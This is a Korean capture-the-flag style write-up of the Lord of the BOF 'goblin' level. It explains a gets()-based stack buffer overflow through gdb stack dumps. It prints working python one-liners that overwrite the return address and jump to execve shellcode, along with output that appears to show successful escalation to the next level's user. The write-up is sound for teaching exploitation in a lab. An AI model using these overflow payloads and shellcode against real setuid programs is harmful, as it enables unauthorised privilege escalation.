1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
...
0x80483fe <main+6>: lea 0xfffffff0(%ebp),%eax
0x8048401 <main+9>: push %eax
0x8048402 <main+10>: call 0x804830c <gets>
...
이번에는 gets 함수로 ebp-0x10 위치에 값을 받아들인다.
3. 취약점 확인 및 공격 준비
3.1 취약점
gets 함수로 값을 받아들일때 그 크기를 확인하지 않아 ret address 변조가 가능하다.
3.2 공격 준비
앞선 공격과 동일하게 공격이 가능하다.
다만, 함수로 값을 받아들이기에 전달하는 방식이 조금 다르다.
이전까지는 file nmae + payload로 프로그램을 실행하며 페이로드를 전달하였지만,
이번에는 먼저 페이로드를 전달하고 프로그램을 실행하여야한다.
lob 환경에서의 gdb에서는 조금 귀찮긴 하지만, 별도의 파일을 만든 후 gdb에서 읽어오며 실행할 수 있다.
[cobolt@localhost cobolt]$ echo aaaa > payload
[cobolt@localhost cobolt]$ ls
goblia goblin goblin.c payload
[cobolt@localhost cobolt]$ gdb goblia
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r < payload
Starting program: /home/cobolt/goblia < payload
/bin/bash: /home/gremlin/.bashrc: Permission denied
aaaa
Program exited with code 05.
(gdb)
셀에서는 아래와 같이 먼저 값을 전달해주고 프로그램을 실행해줄 수 있다.
[cobolt@localhost cobolt]$ (echo aaaa) | ./goblia
aaaa
이 문제에서는 값은 gets로 받아들이지만,
인자와 함께 파일을 실행하면 결국 인자 값들은 stack에 남아있기에 이를 활용하여 공격하여도 되고,
ret address 뒤의 공간을 그대로 활용하여도 될 것이다.
gdb로 ret address의 위치와 인자의 위치를 모두 찾아보자
(gdb) r aaaa
Starting program: /home/cobolt/goblia aaaa
/bin/bash: /home/gremlin/.bashrc: Permission denied
bbbb
bbbb
Breakpoint 1, 0x804841b in main ()
(gdb) x/40x $esp
0xbffffad8: 0x62626262 0x08048300 0x08049480 0x08049494
0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34
0xbffffaf8: 0xbffffb40 0x40013868 0x00000002 0x08048350
...
0xbffffb34: 0xbffffc33
(gdb) x/s 0xbffffc33
0xbffffc33: "/home/cobolt/goblia"
(gdb)
0xbffffc47: "aaaa"
4. exploit
위에서 알아낸 값을 토대로 공격해보면 아래와 같다.
정확한 위치를 넣었는데 반응이 없기에 주소를 조금 변경하며 공격해보았다.
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\xf8\xfa\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') | ./goblia
AAAAAAAAAAAAAAAAAAAA1hpassh/my-h/bin
㱍
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x08\xfb\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') | ./goblia
AAAAAAAAAAAAAAAAAAA1hpassh/my-h/bin
㱍
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x18\xfb\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') | ./goblia
AAAAAAAAAAAAAAAAAAAA1hpassh/my-h/bin
㱍
euid = 502
hacking exposed
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x18\xfb\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"') | ./goblin
AAAAAAAAAAAAAAAAAAAA1hpassh/my-h/bin
㱍
euid = 503
hackers proof
이번에는 argv[1]의 주소를 써보자.
앞서 구한 argv[1]의 주소는 0xbffffc47 이었으나 해당 주소로 공격하면 실패한다.
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x47\xfc\xff\xbf"') | ./goblia `python -c 'print "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAG
그 이유는 stack의 마지막 부분에는 환경변수 영역이 위치하는데, 높은 주소에서부터 값들이 차곡차곡 쌓이기 때문에 이 값의 크기가 변하면 argv[1]의 크기도 변한다.
예를 들어 aaaa의 인자와 함께 프로그램을 실행하면 stack의 가장 높은 주소는 아래와 같은 모양일 것이다.
address | value |
0xbffff000 | ? |
... | |
0xbffffc33 | /home/cobolt/goblia |
0xbffffc47 | aaaa |
... | ... |
0xbfffffff | ? |
하지만 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa와 함께 전달한다면 아래와 같다.
address | value |
0xbffff000 | ? |
... | |
0xbffffc0f | /home/cobolt/goblia |
0xbffffc23 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |
... | ... |
0xbfffffff | ? |
그러므로 이를 고려해 공격해보자.
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x23\xfc\xff\xbf"') | ./goblia `python -c 'print "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAA#
euid = 502
hacking exposed
[cobolt@localhost cobolt]$ (python -c 'print "A"*0x10 + "AAAA" + "\x23\xfc\xff\xbf"') | ./goblin `python -c 'print "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAA#
euid = 503
hackers proof
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] orc -> wolfman (0) | 2022.09.12 |
---|---|
[lob] goblin -> orc (0) | 2022.09.12 |
[lob] gremlin -> cobolt (0) | 2022.09.12 |
[lob] gate -> gremlin (0) | 2022.09.08 |
[lob] 들어가기 전에 - shellcode 제작. (0) | 2022.09.08 |